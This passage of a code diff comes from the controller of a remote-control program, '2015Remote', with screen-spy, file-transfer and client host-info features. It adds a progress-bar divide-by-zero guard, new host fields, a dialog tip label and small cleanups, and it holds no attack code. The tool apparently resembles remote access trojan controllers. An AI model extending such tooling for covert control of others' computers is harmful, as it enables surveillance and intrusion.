b/server/2015Remote/FileManagerDlg.cpp @@ -1923,11 +1923,16 @@ void CFileManagerDlg::ShowProgress() else lpDirection = "接收文件"; - if ((int)m_nCounter == -1) { + // 防止除零导致未定义行为 + if (m_nOperatingFileLength <= 0) { + return; + } + + if (m_nCounter < 0 || m_nCounter > m_nOperatingFileLength) { m_nCounter = m_nOperatingFileLength; } - int progress = (float)(m_nCounter * 100) / m_nOperatingFileLength; + int progress = (int)((double)m_nCounter / m_nOperatingFileLength * 100); ShowMessage("%s %s %dKB (%d%%)", lpDirection, m_strOperatingFile, (int)(m_nCounter / 1024), progress); m_ProgressCtrl->SetPos(progress); diff --git a/server/2015Remote/HostInfo.h b/server/2015Remote/HostInfo.h index b78a79b..4bf555f 100644 --- a/server/2015Remote/HostInfo.h +++ b/server/2015Remote/HostInfo.h @@ -26,7 +26,9 @@ public: char OsName[32]; char Authorized; uint64_t ID; - char Reserved[768]; + char ComputerName[64]; + char ProgramPath[256]; + char Reserved[448]; _ClientValue() { diff --git a/server/2015Remote/InputDlg.cpp b/server/2015Remote/InputDlg.cpp index 069599d..bf5fa4d 100644 --- a/server/2015Remote/InputDlg.cpp +++ b/server/2015Remote/InputDlg.cpp @@ -13,6 +13,7 @@ IMPLEMENT_DYNAMIC(CInputDialog, CDialogEx) CInputDialog::CInputDialog(CWnd* pParent /*=nullptr*/) : CDialogEx(IDD_DIALOG_INPUT, pParent) , m_sSecondInput(_T("")) + , m_sTipInfo(_T("")) { m_hIcon = NULL; } @@ -28,6 +29,9 @@ void CInputDialog::DoDataExchange(CDataExchange* pDX) DDX_Control(pDX, IDC_EDIT_SECOND, m_Edit2thInput); DDX_Text(pDX, IDC_EDIT_SECOND, m_sSecondInput); DDV_MaxChars(pDX, m_sSecondInput, 100); + DDX_Control(pDX, IDC_STATIC_TIPINFO, m_StaticTipInfo); + DDX_Text(pDX, IDC_STATIC_TIPINFO, m_sTipInfo); + DDV_MaxChars(pDX, m_sTipInfo, 64); } @@ -65,6 +69,8 @@ BOOL CInputDialog::OnInitDialog() m_Static2thInput.ShowWindow(m_sItemName.IsEmpty() ? SW_HIDE : SW_SHOW); m_Edit2thInput.SetWindowTextA(m_sSecondInput); m_Edit2thInput.ShowWindow(m_sItemName.IsEmpty() ? SW_HIDE : SW_SHOW); + m_StaticTipInfo.SetWindowTextA(m_sTipInfo); + m_StaticTipInfo.ShowWindow(m_sTipInfo.IsEmpty() ? SW_HIDE : SW_SHOW); return TRUE; // return TRUE unless you set the focus to a control // 异常: OCX 属性页应返回 FALSE diff --git a/server/2015Remote/InputDlg.h b/server/2015Remote/InputDlg.h index 89b80c2..645470c 100644 --- a/server/2015Remote/InputDlg.h +++ b/server/2015Remote/InputDlg.h @@ -38,4 +38,6 @@ public: CEdit m_Edit2thInput; CString m_sItemName; CString m_sSecondInput; + CStatic m_StaticTipInfo; + CString m_sTipInfo; }; diff --git a/server/2015Remote/ScreenSpyDlg.cpp b/server/2015Remote/ScreenSpyDlg.cpp index ed1fe3e..3bc7fab 100644 --- a/server/2015Remote/ScreenSpyDlg.cpp +++ b/server/2015Remote/ScreenSpyDlg.cpp @@ -211,7 +211,7 @@ void CScreenSpyDlg::PrepareDrawing(const LPBITMAPINFO bmp) strString.Format("%s - 远程桌面控制 %d×%d", m_IPAddress, bmp->bmiHeader.biWidth, bmp->bmiHeader.biHeight); SetWindowText(strString); uint64_t dlg = (uint64_t)this; - Mprintf("%s [对话框ID: %lld]\n", strString.GetString(), dlg); + Mprintf("%s [对话框ID: %llu]\n", strString.GetString(), dlg); m_hFullDC = ::GetDC(m_hWnd); SetStretchBltMode(m_hFullDC, HALFTONE); diff --git a/server/2015Remote/Server.h b/server/2015Remote/Server.h index db0e3d7..c134e80 100644 --- a/server/2015Remote/Server.h +++ b/server/2015Remote/Server.h @@ -683,10 +683,6 @@ public: s.Delete(s.GetLength() - 1); return XXH64(s.GetString(), s.GetLength(), 0); } - uint64_t GetID() const - { - return ID; - } void SetID(uint64_t id) { ID = id; diff --git a/server/2015Remote/context.h b/server/2015Remote/context.h index 7b9de0d..4a940d2 100644 --- a/server/2015Remote/context.h +++ b/server/2015Remote/context.h @@ -46,8 +46,4 @@ public: { return TRUE; } - virtual bool IsEqual(context* ctx) const - { - return this == ctx || this->GetPort() == ctx->GetPort(); - } }; diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index f0a70e6..cd5d515 100644 --- a/server/2015Remote/resource.h +++ b/server/2015Remote/resource.h @@ -450,6 +450,7 @@ #define IDC_EDIT_DOWNLOAD_URL 2224 #define IDC_EDIT_FILESERVER_PORT 2225 #define IDC_CLIENT_LIST 2227 +#define IDC_STATIC_TIPINFO 2228 #define ID_ONLINE_UPDATE 32772 #define ID_ONLINE_MESSAGE 32773 #define ID_ONLINE_DELETE 32775 @@ -648,7 +649,7 @@ #ifndef APSTUDIO_READONLY_SYMBOLS #define _APS_NEXT_RESOURCE_VALUE 328 #define _APS_NEXT_COMMAND_VALUE 33007 -#define _APS_NEXT_CONTROL_VALUE 2228 +#define _APS_NEXT_CONTROL_VALUE 2229 #define _APS_NEXT_SYMED_VALUE 105 #endif #endif